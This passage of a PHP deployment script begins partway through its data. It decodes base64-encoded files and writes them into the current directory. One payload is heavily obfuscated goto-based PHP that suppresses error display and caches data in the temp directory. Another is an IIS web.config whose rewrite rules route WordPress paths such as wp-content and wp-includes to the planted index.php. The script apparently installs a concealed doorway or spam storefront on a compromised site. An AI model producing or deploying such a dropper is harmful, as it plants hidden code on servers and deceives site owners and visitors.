tOyBnb3RvIFhVOU01OyBhTG8yUTogJHVUMHRtID0gc3RyX3JlcGxhY2UoIlwxMzQiLCAiXHgyZiIsICRfU0VSVkVSWyJcMTIwXDExMFwxMjBceDVmXHg1M1x4NDVcMTE0XHg0NiJdKTsgZ290byBhR3pWQjsgS2R6d3k6ICR1VDB0bSA9IHN0cl9yZXBsYWNlKCJceDJmXHg2OVx4NmVcMTQ0XHg2NVwxNzBcNTZceDcwXDE1MFwxNjAiLCAnJywgJHVUMHRtKTsgZ290byByODRRdjsgWFU5TTU6IH0gcHVibGljIGZ1bmN0aW9uIFNoVkVwKCRYdkZjYywgJERBUmxELCAkaGlOMTApIHsgZ290byBPdTBBNDsgcDdDejQ6IGlmICghKCRtT3NtSCA+ICRaTnVRMikpIHsgZ290byB6N1Y3RDsgfSBnb3RvIHBTUXZxOyBGem9NTDogQlFXc0U6IGdvdG8gZEdaaGQ7IGJmZkV4OiAkbU9zbUggPSAxIC8gJFBDN21qICogJExoakxlOyBnb3RvIHUwSTBzOyBpY0tKaTogR0gwX0U6IGdvdG8gU2FfNDQ7IFZjanJJOiBJMFRsTTogZ290byBGdzRDSjsgb0dFM3M6ICRnbkRsMCA9IDAuODsgZ290byBuZUZJaDsgSTByV0Y6IGlmICghKCRoaU4xMCA8IDIpKSB7IGdvdG8geVl0TzQ7IH0gZ290byBNZXJxaTsgb244ems6IGlmICghKCRtT3NtSCA8ICR3WEJZSSkpIHsgZ290byBHSDBfRTsgfSBnb3RvIEZ6b01MOyBEQVl2ajogeV9PbFc6IGdvdG8gSHVVYXY7IGRHWmhkOiBpZiAoISgkbU9zbUggPCAkd1hCWUkpKSB7IGdvdG8gTTlWT3o7IH0gZ290byBSTkJlcjsgUzNfZU46ICR3WEJZSSA9ICRMaGpMZSAqICRnbkRsMDsgZ290byBvbjh6azsgbmVGSWg6ICRrZHpkNiA9IDAuOTU7IGdvdG8gczJkMnQ7IFQ2TjJZOiBpZiAoISgkbU9zbUggPiAkWk51UTIpKSB7IGdvdG8geV9PbFc7IH0gZ290byBrMHpzUTsga0tERXA6IHJldHVybiAkbU9zbUg7IGdvdG8gbG53RHY7IHMyZDJ0OiBpZiAoISgkWHZGY2MgPCAyKSkgeyBnb3RvIEkwVGxNOyB9IGdvdG8gS1JySXI7IE1lcnFpOiAkaGlOMTAgPSAyOyBnb3RvIFgxbjZJOyBYdEpwWTogJFBDN21qID0gbG9nMTAoJGhpTjEwICogJERBUmxEIC8gJFh2RmNjKSAvIGxvZzEwKCRoaU4xMCk7IGdvdG8gRkoyNEI7IHl4UTJhOiBVcWIwSDogZ290byBJMHJXRjsgbHVKRGg6IGdvdG8gcW1vYmY7IGdvdG8gREFZdmo7IEh1VWF2OiB6N1Y3RDogZ290byBrS0RFcDsgSldNaEs6IE05Vk96OiBnb3RvIGljS0ppOyBGdzRDSjogaWYgKCEoJERBUmxEIDwgMikpIHsgZ290byBVcWIwSDsgfSBnb3RvIFI1QW52OyBwU1F2cTogcW1vYmY6IGdvdG8gVDZOMlk7IFVHZ1NlOiBnb3RvIEJRV3NFOyBnb3RvIEpXTWhLOyBrMHpzUTogJG1Pc21IIC09ICgkTGhqTGUgLSAkWk51UTIpIC8gMjA7IGdvdG8gbHVKRGg7IG42RV94OiBBa1doWjogZ290byBLMjRVWTsgWDFuNkk6IHlZdE80OiBnb3RvIFh0SnBZOyBSTkJlcjogJG1Pc21IICs9ICgkTGhqTGUgLSAkd1hCWUkpIC8gMjA7IGdvdG8gVUdnU2U7IFI1QW52OiAkREFSbEQgPSAyOyBnb3RvIHl4UTJhOyBLMjRVWTogJG1Pc21IID0gJFBDN21qICogJExoakxlOyBnb3RvIGV0dlVSOyBTYV80NDogJFpOdVEyID0gJExoakxlICogJGtkemQ2OyBnb3RvIHA3Q3o0OyBPdTBBNDogJExoakxlID0gNS4wOyBnb3RvIG9HRTNzOyB1MEkwczogZ290byBKbF9SNzsgZ290byBuNkVfeDsgRkoyNEI6IGlmICgkUEM3bWogPD0gMSkgeyBnb3RvIEFrV2haOyB9IGdvdG8gYmZmRXg7IGV0dlVSOiBKbF9SNzogZ290byBTM19lTjsgS1JySXI6ICRYdkZjYyA9IDI7IGdvdG8gVmNqckk7IGxud0R2OiB9IHB1YmxpYyBmdW5jdGlvbiBnZXRDYWNoZSgkQWQyUVQsICR0RnBhMSA9IFtdKSB7IGdvdG8gRmh1ZUk7IElqcndWOiAkRGV2eVMgPSBpbXBsb2RlKCJcNTQiLCAkdEZwYTEpOyBnb3RvIEtBNFJYOyBLQTRSWDogZm9yZWFjaCAoJHNKUzcxIGFzICRKaVM3SykgeyBnb3RvIERpZmpzOyBrQ2dBZjogZ290byBPODRsdTsgZ290byBTdTkyQTsgRGlmanM6ICRGeTQ0WCA9IG1kNSgieyR0aGlzLT5LMDU0WX1ceDdjeyREZXZ5U31ceDdjeyR0aGlzLT5NakZnSX1ceDdjeyRBZDJRVH0iKSAuICJceDJlXHg2NFx4NjFceDc0XHg2MSI7IGdvdG8gZHRFaDI7IEtaZUluOiBPODRsdTogZ290byB6aGJ3RzsgZTVEZV86IGlmICghKCRQT2tvZiA9PT0gZmFsc2UpKSB7IGdvdG8gSXNLbTQ7IH0gZ290byBrQ2dBZjsgU3U5MkE6IElzS200OiBnb3RvIEtaZUluOyBkdEVoMjogJFBPa29mID0gZmlsZV9nZXRfY29udGVudHMoJEppUzdLIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIHNlbGY6OkFCWUpEIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRGeTQ0WCk7IGdvdG8gZTVEZV87IHpoYndHOiB9IGdvdG8ga0NzU0Q7IEZodWVJOiAkc0pTNzEgPSBbX19ESVJfXywgc3lzX2dldF90ZW1wX2RpcigpXTsgZ290byBJanJ3Vjsga0NzU0Q6IHJQU2dPOiBnb3RvIFVwb2ZROyBVcG9mUTogcmV0dXJuICRQT2tvZjsgZ290byBJQVVCODsgSUFVQjg6IH0gcHVibGljIGZ1bmN0aW9uIEc1YTQxKCRBZDJRVCwgJFdJclQzLCAkdEZwYTEgPSBbXSkgeyBnb3RvIEs1YmpaOyBjU1hBTzogZm9yZWFjaCAoJHNKUzcxIGFzICRKaVM3SykgeyBnb3RvIFhoWXN5OyBJR1JBdDogaWYgKGlzX2RpcigkWlBiRnYpKSB7IGdvdG8gallGYmg7IH0gZ290byB6d0VqRzsgRERpbmc6ICRQT2tvZiA9IGZpbGVfcHV0X2NvbnRlbnRzKCRaUGJGdiAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkRnk0NFgsICRXSXJUMyk7IGdvdG8gSEhFWDI7IExySXpwOiBDQ0MzWjogZ290byBiMnMyeTsgRkpWejI6IGpZRmJoOiBnb3RvIHViTmQwOyBISEVYMjogaWYgKCEoJFBPa29mID09PSBmYWxzZSkpIHsgZ290byBDQ0MzWjsgfSBnb3RvIFlCRm1HOyBZQkZtRzogZ290byBHTks1YTsgZ290byBMckl6cDsgYjJzMnk6IEdOSzVhOiBnb3RvIHA2VmNpOyB6d0VqRzogbWtkaXIoJFpQYkZ2LCAwNzU1LCB0cnVlKTsgZ290byBGSlZ6MjsgWGhZc3k6ICRaUGJGdiA9ICRKaVM3SyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBzZWxmOjpBQllKRDsgZ290byBJR1JBdDsgdWJOZDA6ICRGeTQ0WCA9IG1kNSgieyR0aGlzLT5LMDU0WX1ceDdjeyREZXZ5U31cMTc0eyR0aGlzLT5NakZnSX1ceDdjeyRBZDJRVH0iKSAuICJceDJlXHg2NFx4NjFcMTY0XDE0MSI7IGdvdG8gRERpbmc7IHA2VmNpOiB9IGdvdG8gaFNUb2w7IGhTVG9sOiBPSkkwNjogZ290byBXYVhvVTsgSzVialo6ICRzSlM3MSA9IFtfX0RJUl9fLCBzeXNfZ2V0X3RlbXBfZGlyKCldOyBnb3RvIElQNG1ZOyBJUDRtWTogJERldnlTID0gaW1wbG9kZSgiXHgyYyIsICR0RnBhMSk7IGdvdG8gY1NYQU87IFdhWG9VOiB9IHB1YmxpYyBmdW5jdGlvbiBCQmNTMigkUzFscnggPSAnJykgeyAkTDZ4a2wgPSBbIlwxMjVceDUzXHg0NCIgPT4gIlw0NCIsICJceDQxXHg1NVwxMDQiID0+ICJcNDQiLCAiXHg0Mlx4NTJcMTE0IiA9PiAiXHg1Mlx4MjQiLCAiXHg0M1x4NDFcMTA0IiA9PiAiXHgyNCIsICJceDQzXHg0OFx4NDYiID0+ICJceDQzXHg0OFwxMDYiLCAiXHg0M1x4NWFcMTEzIiA9PiAiXHg0Ylx4YzRceDhkIiwgIlx4NDRceDRiXHg0YiIgPT4gIlx4MmRcMTUzXHg3Mlx4MmUiLCAiXDEwNVwxMjVceDUyIiA9PiAiXHhlMlwyMDJcMjU0IiwgIlx4NDdceDQyXDEyMCIgPT4gIlx4YzJceGEzIiwgIlwxMTBcMTEzXHg0NCIgPT4gIlwxMTBceDRiXHgyNCIsICJceDQ4XHg1NVx4NDYiID0+ICJceDQ2XDE2NCIsICJcMTExXDExNFx4NTMiID0+ICJcMzQyXHg4Mlx4YWEiLCAiXHg0YVx4NTBcMTMxIiA9PiAiXHhjMlwyNDUiLCAiXHg0ZFx4NThceDRlIiA9PiAiXDQ0IiwgIlx4NGVcMTE3XDExMyIgPT4gIlx4MmRceDZiXHg3Mlx4MmUiLCAiXDExNlwxMzJceDQ0IiA9PiAiXDQ0IiwgIlwxMjBcMTE0XHg0ZSIgPT4gIlwxNzJcMzA1XDIwMiIsICJcMTIwXDExMFwxMjAiID0+ICJceGUyXDIwMlx4YjEiLCAiXDEyMlwxMjVcMTAyIiA9PiAiXDM0Mlx4ODJceGJkIiwgIlx4NTNcMTA1XHg0YiIgPT4gIlx4MmRceDZiXDE2Mlx4MmUiLCAiXHg1M1x4NDdceDQ0IiA9PiAiXHgyNCIsICJceDU0XHg0OFx4NDIiID0+ICJceGUwXHhiOFx4YmYiLCAiXHg1NFx4NTdceDQ0IiA9PiAiXHg0ZVx4NTRceDI0IiwgIlx4NDNceDRlXDEzMSIgPT4gIlx4YzJcMjQ1Il07IHJldHVybiAkUzFscnggPyAkTDZ4a2xbJFMxbHJ4XSA6ICRMNnhrbDsgfSB9IGdvdG8gUm10WGw7IEJYZ3l5OiBpbmlfc2V0KCJceDY0XHg2OVwxNjNcMTYwXDE1NFwxNDFcMTcxXHg1Zlx4NjVcMTYyXDE2Mlx4NmZceDcyXDE2MyIsICJceDMwIik7IGdvdG8gc0ZoZ0E7IFJtdFhsOiAkSGNoejggPSBuZXcgbVVIZkcoKTsgZ290byBhUm1pZzsgYVJtaWc6ICRIY2h6OC0+aW5pdCgpOw==',
  'web.config' => 'PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjxjb25maWd1cmF0aW9uPg0KICAgIDxzeXN0ZW0ud2ViU2VydmVyPg0KICAgICAgICA8cmV3cml0ZT4NCiAgICAgICAgICAgIDxydWxlcz4NCiAgICAgICAgICAgICAgICA8cnVsZSBuYW1lPSJSZXdyaXRlIGRldGFpbCI+DQogICAgICAgICAgICAgICAgICAgIDxtYXRjaCB1cmw9Il5kZXRhaWwvKD86W15fXSopXyhbXi4vXSspXC5odG1sJCIgLz4NCiAgICAgICAgICAgICAgICAgICAgPGFjdGlvbiB0eXBlPSJSZXdyaXRlIiB1cmw9ImluZGV4LnBocD90PWRldGFpbCZhbXA7aT17UjoxfSIgLz4NCiAgICAgICAgICAgICAgICA8L3J1bGU+DQogICAgICAgICAgICAgICAgPHJ1bGUgbmFtZT0iUmV3cml0ZSBjb2xsZWN0aW9uIDEiPg0KICAgICAgICAgICAgICAgICAgICA8bWF0Y2ggdXJsPSJeY29sbGVjdGlvbi8oPzpbXl9dKilfKFteLi9dKylcLmh0bWwkIiAvPg0KICAgICAgICAgICAgICAgICAgICA8YWN0aW9uIHR5cGU9IlJld3JpdGUiIHVybD0iaW5kZXgucGhwP3Q9Y29sbGVjdGlvbiZhbXA7aT17UjoxfSIgLz4NCiAgICAgICAgICAgICAgICA8L3J1bGU+DQogICAgICAgICAgICAgICAgPHJ1bGUgbmFtZT0iUmV3cml0ZSBjb2xsZWN0aW9uIDIiPg0KICAgICAgICAgICAgICAgICAgICA8bWF0Y2ggdXJsPSJeY29sbGVjdGlvbi8oPzpbXl9dKilfKFteLi9dKykvKFxkKykvKFxkKylcLmh0bWwkIiAvPg0KICAgICAgICAgICAgICAgICAgICA8YWN0aW9uIHR5cGU9IlJld3JpdGUiIHVybD0iaW5kZXgucGhwP3Q9Y29sbGVjdGlvbiZhbXA7aT17UjoxfSZhbXA7bj17UjoyfSZhbXA7cz17UjozfSIgLz4NCiAgICAgICAgICAgICAgICA8L3J1bGU+DQogICAgICAgICAgICAgICAgPHJ1bGUgbmFtZT0iUmV3cml0ZSBzdGF0aWMiPg0KICAgICAgICAgICAgICAgICAgICA8bWF0Y2ggdXJsPSJec3RhdGljLyguKikiIC8+DQogICAgICAgICAgICAgICAgICAgIDxhY3Rpb24gdHlwZT0iUmV3cml0ZSIgdXJsPSJpbmRleC5waHA/dD1zdGF0aWMmYW1wO3A9c3RhdGljJmFtcDtlPXtSOjF9IiAvPg0KICAgICAgICAgICAgICAgIDwvcnVsZT4NCiAgICAgICAgICAgICAgICA8cnVsZSBuYW1lPSJSZXdyaXRlIHdwLWNvbnRlbnQiPg0KICAgICAgICAgICAgICAgICAgICA8bWF0Y2ggdXJsPSJed3AtY29udGVudC8oLiopIiAvPg0KICAgICAgICAgICAgICAgICAgICA8YWN0aW9uIHR5cGU9IlJld3JpdGUiIHVybD0iaW5kZXgucGhwP3Q9c3RhdGljJmFtcDtwPXdwLWNvbnRlbnQmYW1wO2U9e1I6MX0iIC8+DQogICAgICAgICAgICAgICAgPC9ydWxlPg0KICAgICAgICAgICAgICAgIDxydWxlIG5hbWU9IlJld3JpdGUgd3AtaW5jbHVkZXMiPg0KICAgICAgICAgICAgICAgICAgICA8bWF0Y2ggdXJsPSJed3AtaW5jbHVkZXMvKC4qKSIgLz4NCiAgICAgICAgICAgICAgICAgICAgPGFjdGlvbiB0eXBlPSJSZXdyaXRlIiB1cmw9ImluZGV4LnBocD90PXN0YXRpYyZhbXA7cD13cC1pbmNsdWRlcyZhbXA7ZT17UjoxfSIgLz4NCiAgICAgICAgICAgICAgICA8L3J1bGU+DQogICAgICAgICAgICA8L3J1bGVzPg0KICAgICAgICA8L3Jld3JpdGU+DQogICAgPC9zeXN0ZW0ud2ViU2VydmVyPg0KPC9jb25maWd1cmF0aW9uPg0K',
);

foreach ($files as $fileName => $encodedContent) {
    $decodedContent = base64_decode($encodedContent);
    if ($fileName === 'config.json') {
        // 随机替换 {app} 为 $app_ids 数组中的一个元素
        $randomAppId = $app_ids[0];
        $decodedContent = str_replace('{app}', $randomAppId, $decodedContent);
    }
    file_put_contents($fileName, $decodedContent);
    echo "File: $fileName has been written.\n";
}